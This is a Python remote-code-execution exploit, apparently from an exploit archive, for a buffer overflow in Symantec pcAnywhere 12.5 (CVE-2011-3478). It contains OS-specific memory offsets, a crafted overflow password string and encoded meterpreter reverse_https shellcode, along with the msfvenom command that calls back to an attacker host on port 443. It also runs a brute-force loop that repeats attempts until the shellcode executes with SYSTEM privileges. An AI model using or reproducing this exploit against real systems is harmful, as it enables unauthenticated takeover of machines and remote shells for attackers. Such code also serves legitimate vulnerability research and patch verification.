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#!/usr/bin/python ################################################################ # Exploit Title: Symantec pcAnywhere v12.5.0 Windows x86 RCE # Date: 2015-10-31 # Exploit Author: Tomislav Paskalev # Vendor Homepage: https://www.symantec.com/ # Software Link: http://esdownload.symantec.com/akdlm/CD/MTV/pcAnywhere_12_5_MarketingTrialware.exe # Version: Symantec pcAnywhere v12.5.0 Build 442 (Trial) # Vulnerable Software: # Symantec pcAnywhere 12.5.x through 12.5.3 # Symantec IT Management Suite pcAnywhere Solution 7.0 (aka 12.5.x) and 7.1 (aka 12.6.x) # Tested on: # Symantec pcAnywhere v12.5.0 Build 442 (Trial) # -------------------------------------------- # Microsoft Windows Vista Ultimate SP1 x86 EN # Microsoft Windows Vista Ultimate SP2 x86 EN # Microsoft Windows 2008 Enterprise SP2 x86 EN # Microsoft Windows 7 Professional SP1 x86 EN # Microsoft Windows 7 Ultimate SP1 x86 EN # CVE ID: 2011-3478 # OSVDB-ID: 78532 ################################################################ # Vulnerability description: # The application's module used for handling incoming connections # (awhost32.exe) contains a flaw. When handling authentication # requests, the vulnerable process copies user provided input # to a fixed length buffer without performing a length check. # A remote unauthenticated attacker can exploit this vulnerability # to cause a buffer overflow and execute arbitrary code in the # context of the exploited application (installed as a service # by default, i.e. with "NT AUTHORITY\SYSTEM" privileges). ################################################################ # Target application notes: # - the application processes one login attempt at a time # (i.e. multiple parallel login requests are not possible) # - available modules (interesting exploit wise): # Name | Rebase | SafeSEH | ASLR| NXCompat | OS Dll #------------------------------------------------------------- # awhost32.exe | False| False | False |False | False # ijl20.dll| False| False | False |False | False # IMPLODE.DLL| False| False | False |False | False #------------------------------------------------------------- # - supported Windows x86 operating systems (pcAnywhere v12.5) # - Windows 2000 # - Windows 2003 Server # - Windows 2008 Server # - Windows XP # - Windows Vista # - Windows 7 ################################################################ # Exploit notes: # - bad characters: "\x00" # - Windows Vista, Windows 2008 Server, Windows 7 # - after a shellcode execution event occurs, the # application does not crash and remains fully functional # - one successful shellcode execution event has a low # success rate (applies to all OSes) # - in order to achieve an overall more reliable exploit, # multiple shellcode executions need to be performed # (until the shellcode is successfully executed) # - brute force is a feasible method # - multiple parallel brute force attacks are not possible # - multiple valid offsets are available (i.e. not just the # ones tested) ################################################################ # Test notes: # - all tested OSes # - clean default installations # - all OS specific statistics referenced in the exploit are # based on the test results of 10 attempts per tested offset # - all attempts were performed after a system reboot (VM) # - the provided test results should be taken only as a rough guide # - in practice it might occur that the number of attempts # needed to achieve successful exploitation is (much) # higher than the maximum value contained in the test # results, or that the exploit does not succeed at all # - other (untested) offsets might provide better results # - not letting the OS and application load fully/properly before # starting the exploit may lead to failed exploitation (this # observation was made during the testing of the exploit and # applies mostly to Windows 7) ################################################################ # Patch: # https://support.symantec.com/en_US/article.TECH179526.html # https://support.norton.com/sp/en/us/home/current/solutions/v78694006_EndUserProfile_en_us ################################################################ # Thanks to: # Tal zeltzer (discovered the vulnerability) # S2 Crew (Python PoC) ################################################################ # In memoriam: # msfpayload | msfencode[2005 - 2015] ################################################################ # References: # http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3478 # http://www.zerodayinitiative.com/advisories/ZDI-12-018/ # https://www.exploit-db.com/exploits/19407/ ################################################################ import socket import time import struct import string import sys ################################ ###HARDCODED TARGET INFO ### ################################ # target server info # >>> MODIFY THIS >>> targetServer = "192.168.80.227" targetPort = 5631 # Supported operating systems vistaUltSP1= { 'Version': 'Microsoft Windows Vista Ultimate SP1 x86 EN', 'Offset': 0x03e60000, 'PasswordStringLength': 3500, 'TestAttempts': [8, 62, 35, 13, 8, 7, 11, 23, 8, 10] }; vistaUltSP2= { 'Version': 'Microsoft Windows Vista Ultimate SP2 x86 EN', 'Offset': 0x03e60000, 'PasswordStringLength': 3500, 'TestAttempts': [16, 27, 13, 17, 4, 13, 7, 9, 5, 16] }; s2k8EntSP2 = { 'Version': 'Microsoft Windows 2008 Enterprise SP2 x86 EN', 'Offset': 0x03dd0000, 'PasswordStringLength': 3500, 'TestAttempts': [25, 5, 14, 18, 66, 7, 8, 4, 4, 24] }; sevenProSP1= { 'Version': 'Microsoft Windows 7 Professional SP1 x86 EN', 'Offset': 0x03a70000, 'PasswordStringLength': 3500, 'TestAttempts': [188, 65, 25, 191, 268, 61, 127, 136, 18, 98] }; sevenUltSP1= { 'Version': 'Microsoft Windows 7 Ultimate SP1 x86 EN', 'Offset': 0x03fa0000, 'PasswordStringLength': 3500, 'TestAttempts': [23, 49, 98, 28, 4, 31, 4, 42, 50, 42] }; # target server OS # >>> MODIFY THIS >>> #OSdictionary = vistaUltSP1 #OSdictionary = vistaUltSP2 #OSdictionary = s2k8EntSP2 #OSdictionary = sevenProSP1 OSdictionary = sevenUltSP1 # timeout values shellcodeExecutionTimeout = 30 # client-server handshake initialisationSequence = "\x00\x00\x00\x00" handshakeSequence= "\x0d\x06\xfe" # username string usernameString = "U" * 175 # shellcode # available shellcode space: 1289 bytes # shellcode generated with Metasploit Framework Version: 4.11.4-2015090201 (Kali 2.0) # msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=192.168.80.223 LPORT=443 EXITFUNC=seh -e x86/shikata_ga_nai -b '\x00' -f python -v shellcode # >>> MODIFY THIS >>> shellcode ="" shellcode += "\xda\xd3\xd9\x74\x24\xf4\xbf\x2c\x46\x39\x97\x5d" shellcode += "\x33\xc9\xb1\x87\x83\xed\xfc\x31\x7d\x14\x03\x7d" shellcode += "\x38\xa4\xcc\x6b\xa8\xaa\x2f\x94\x28\xcb\xa6\x71" shellcode += "\x19\xcb\xdd\xf2\x09\xfb\x96\x57\xa5\x70\xfa\x43" shellcode += "\x3e\xf4\xd3\x64\xf7\xb3\x05\x4a\x08\xef\x76\xcd" shellcode += "\x8a\xf2\xaa\x2d\xb3\x3c\xbf\x2c\xf4\x21\x32\x7c" shellcode += "\xad\x2e\xe1\x91\xda\x7b\x3a\x19\x90\x6a\x3a\xfe" shellcode += "\x60\x8c\x6b\x51\xfb\xd7\xab\x53\x28\x6c\xe2\x4b" shellcode += "\x2d\x49\xbc\xe0\x85\x25\x3f\x21\xd4\xc6\xec\x0c" shellcode += "\xd9\x34\xec\x49\xdd\xa6\x9b\xa3\x1e\x5a\x9c\x77" shellcode += "\x5d\x80\x29\x6c\xc5\x43\x89\x48\xf4\x80\x4c\x1a" shellcode += "\xfa\x6d\x1a\x44\x1e\x73\xcf\xfe\x1a\xf8\xee\xd0" shellcode += "\xab\xba\xd4\xf4\xf0\x19\x74\xac\x5c\xcf\x89\xae" shellcode += "\x3f\xb0\x2f\xa4\xad\xa5\x5d\xe7\xb9\x57\x3b\x6c" shellcode += "\x39\xc0\xb4\xe5\x57\x79\x6f\x9e\xeb\x0e\xa9\x59" shellcode += "\x0c\x25\x84\xbe\xa1\x95\xb4\x13\x16\x72\x01\xc2" shellcode += "\xe1\x25\x8a\x3f\x42\x79\x1f\xc3\x37\x2e\xb7\x78" shellcode += "\xb6\xd0\x47\x97\x86\xd1\x47\x67\xd9\x84\x3f\x54" shellcode += "\x6e\x11\x95\xaa\x3a\x37\x6f\xa8\xf7\xbe\xf8\x1d" shellcode += "\x4c\x16\x73\x50\x25\xc2\x0c\xa6\x91\xc1\xb0\x8b" shellcode += "\x53\x69\x76\x22\xd9\x46\x0a\x1a\xbc\xea\x87\xf9" shellcode += "\x09\xb2\x10\xcf\x14\x3c\xd0\x56\xb3\xc8\xba\xe0" shellcode += "\x69\x5a\x3a\xa2\xff\xf0\xf2\x73\x92\x4b\x79\x10" shellcode += "\x02\x3f\x4f\xdc\x8f\xdb\xe7\x4f\x6d\x1d\xa9\x1d" shellcode += "\x42\x0c\x70\x80\xcc\xe9\xe5\x0a\x55\x80\x8a\xc2" shellcode += "\x3d\x2a\x2f\xa5\xe2\xf1\xfe\x7d\x2a\x86\x6b\x08" shellcode += "\x27\x33\x2a\xbb\xbf\xf9\xd9\x7a\x7d\x87\x4f\x10" shellcode += "\xed\x0d\x1b\xad\x88\xc6\xb8\x50\x07\x6a\x74\xf1" shellcode += "\xd3\x2d\xd9\x84\x4e\xc0\x8e\x25\x23\x76\x60\xc9" shellcode += "\xb4\xd9\xf5\x64\x0e\x8e\xa6\x22\x05\x39\x3f\x98" shellcode += "\x96\x8e\xca\x4f\x79\x54\x64\x26\x33\x3d\xe7\xaa" shellcode += "\xa2\xb1\x90\x59\x4b\x74\x1a\xce\xf9\x0a\xc6\xd8" shellcode += "\xcc\x99\x49\x75\x47\x33\x0e\x1c\xd5\xf9\xde\xad" shellcode += "\xa3\x8c\x1e\x02\x3b\x38\x96\x3d\x7d\x39\x7d\xc8" shellcode += "\x47\x95\x16\xcb\x75\xfa\x63\x98\x2a\xa9\x3c\x4c" shellcode += "\x9a\x25\x28\x27\x0c\x8d\x51\x1d\xc6\x9b\xa7\xc1" shellcode += "\x8e\xdb\x8b\xfd\x4e\x55\x0b\x97\x4a\x35\xa6\x77" shellcode += "\x04\xdd\x43\xce\x36\x9b\x53\x1b\x15\xf7\xf8\xf7" shellcode += "\xcf\x9f\xd3\xf1\xf7\x24\xd3\x2b\x82\x1b\x5e\xdc" shellcode += "\xc3\xee\x78\x34\x90\x10\x7b\xc5\x4c\x51\x13\xc5" shellcode += "\x80\x51\xe3\xad\xa0\x51\xa3\x2d\xf3\x39\x7b\x8a" shellcode += "\xa0\x5c\x84\x07\xd5\xcc\x28\x21\x3e\xa5\xa6\x31" shellcode += "\xe0\x4a\x37\x61\xb6\x22\x25\x13\xbf\x51\xb6\xce" shellcode += "\x3a\x55\x3d\x3e\xcf\x51\xbf\x03\x4a\x9d\xca\x66" shellcode += "\x0c\xdd\x6a\x81\xdb\x1e\x6b\xae\x12\xd8\xa6\x7f" shellcode += "\x65\x2c\xff\x51\xbd\x60\xd1\x9f\x8f\xb3\x2d\x5b" shellcode += "\x11\xbd\x1f\x71\x87\xc2\x0c\x7a\x82\xa9\xb2\x47" ################################ ### BUFFER OVERFLOW### ### STRING CONSTRUCTION### ################################ # Calculate address values based on the OS offset pointerLocationAddress= OSdictionary['Offset'] + 0x00005ad8 pointerForECXplus8Address = OSdictionary['Offset'] + 0x00005ad4 breakPointAddress = OSdictionary['Offset'] + 0x000065af - 0x00010000 # jump over the next 38 bytes (to the begining of the shellcode) jumpToShellcode= "\xeb\x26\x90\x90" # pointerLocationAddress - the memory address location of the "pointerForECXplus8" variable pointerLocation= struct.pack('<L', pointerLocationAddress) # CALL ESI from the application module ijl20.dll [aslr=false,rebase=false,safeseh=false] callESI= struct.pack('<L', 0x67f7ab23) # pointerForECXplus8Address - the memory address location of the start of the DDDD string in the shellcode (Offset + 0x00005acc + 0x8) pointerForECXplus8 = struct.pack('<L', pointerForECXplus8Address) # construct the password string which will cause a buffer overflow condition and exploit the vulnerability passwordString = ( "A" * 945 + jumpToShellcode + pointerLocation + "D" * 4 + pointerForECXplus8 + callESI + "\x90" * 20 + shellcode + "I" * (1289 - len(shellcode)) + "\xaa" * (OSdictionary['PasswordStringLength'] - 945 - 4 * 5 - 20 - 1289) ) ################################ ###FUNCTIONS ### ################################ # calculate and return the median value of the argument list def calculateMedian(targetList): sortedTargetList = sorted(targetList) targetListLength = len(targetList) medianIndex = (targetListLength - 1) / 2 if (targetListLength % 2): return sortedTargetList[medianIndex] else: return ((sortedTargetList[medianIndex] + sortedTargetList[medianIndex + 1]) / 2) # print an indented line with a type prefix def printLine(infoType, indentDepth, textToDisplay): # [I]nformational if infoType == "I": print ('' * indentDepth), print "\033[1;37m[*]\033[1;m", textToDisplay # [E]rror elif infoType == "E": print ('' * indentDepth), print "\033[1;31m[-]\033[1;m", textToDisplay # [S]uccess elif infoType == "S": print ('' * indentDepth), print "\033[1;32m[+]\033[1;m", textToDisplay # [W]arning elif infoType == "W": print ('' * indentDepth), print "\033[1;33m[!]\033[1;m", textToDisplay # [N]one elif infoType == "N": print ('' * indentDepth), print textToDisplay # print the banner - general exploit info, target info, target OS statistics def printBanner(): printLine ("I", 0, "Symantec pcAnywhere v12.5.0 Build 442 Login+Password field") printLine ("N", 1, "Buffer Overflow Remote Code Execution exploit (CVE-2011-3478)") printLine ("I", 1, "by Tomislav Paskalev") printLine ("I", 0, "Target server information") printLine ("I", 1, "IP address: " + targetServer) printLine ("I", 1, "Port: " + str(targetPort)) printLine ("I", 0, "Exploit target information") printLine ("I", 1, "Target OS : " + OSdictionary['Version']) printLine ("I", 2, "Offset: " + "{:#010x}".format(OSdictionary['Offset'])) printLine ("I", 2, "Breakpoint (test) : " + "{:#010x}".format(breakPointAddress)) printLine ("I", 2, "Password length : " + str(OSdictionary['PasswordStringLength'])) printLine ("I", 2, "Test result stats") printLine ("I", 3, "Test count: " + str(len(OSdictionary['TestAttempts']))) printLine ("I", 3, "Reliability : " + str(((len(OSdictionary['TestAttempts']) - OSdictionary['TestAttempts'].count(0)) * 100) / len(OSdictionary['TestAttempts'])) + "%") printLine ("I", 3, "Min attempt : " + str(min([element for element in OSdictionary['TestAttempts'] if element > 0]))) printLine ("I", 3, "Max attempt : " + str(max(OSdictionary['TestAttempts']))) printLine ("I", 3, "Avg attempt : " + str(sum(OSdictionary['TestAttempts']) / len(OSdictionary['TestAttempts']))) printLine ("I", 3, "Median attempt: " + str(calculateMedian(OSdictionary['TestAttempts']))) # connect to the server and return the socket def connectToServer(server, port): # create socket targetSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: targetSocket.connect((server, port)) except socket.error as msg: if "[Errno 111] Connection refused" in str(msg): return None # return the opened socket return targetSocket # send the data to the server and return the response def sendDataToServer(destSocket, dataToSend): destSocket.send(dataToSend) try: receivedData = destSocket.recv(1024) except socket.error as msg: if "[Errno 104] Connection reset by peer" in str(msg): return None return receivedData # run the exploit; exits when finished or interrupted def runExploit(): printLine ("I", 0, "Starting exploit...") attemptCounter = 0 # brute force the service until the shellcode is successfully executed while True: # connect to the target server openSocket = connectToServer(targetServer, targetPort) attemptCounter += 1 sleepTimer = 0 printLine ("I", 1, "Attempt no. " + str(attemptCounter)) printLine ("I", 2, "Sending initialisation sequence...") # send the data; check outcome while True: receivedData = sendDataToServer(openSocket, initialisationSequence) # check if server responded properly, if yes exit the loop if receivedData: if "Please press <Enter>..." in receivedData: break # exit if the service is unavailable if attemptCounter == 1: printLine ("E", 3, "Service unavailable") printLine ("I", 4, "Exiting...") exit(1) # check if shellcode executed (based on a timer) if sleepTimer > shellcodeExecutionTimeout: print "" printLine ("S", 4, "Shellcode executed after " + str(attemptCounter - 1) + " attempts") printLine ("I", 5, "Exiting...") exit(1) # print waiting ticks sys.stdout.write('\r') sys.stdout.write(" \033[1;33m[!]\033[1;m Connection reset - reinitialising%s" % ('.' * sleepTimer)) sys.stdout.flush() # sleep one second and reconnect time.sleep(1) sleepTimer += 1 openSocket.close() openSocket = connectToServer(targetServer, targetPort) if sleepTimer > 0: print "" printLine ("I", 2, "Sending handshake sequence...") openSocket.send(handshakeSequence) time.sleep(3) data = openSocket.recv(1024) printLine ("I", 2, "Sending username...") openSocket.send(usernameString) time.sleep(3) printLine ("I", 2, "Sending password...") openSocket.send(passwordString) openSocket.close() time.sleep(3) # main function if __name__ == "__main__": printBanner() try: runExploit() except KeyboardInterrupt: print "" sys.exit() # End of file |
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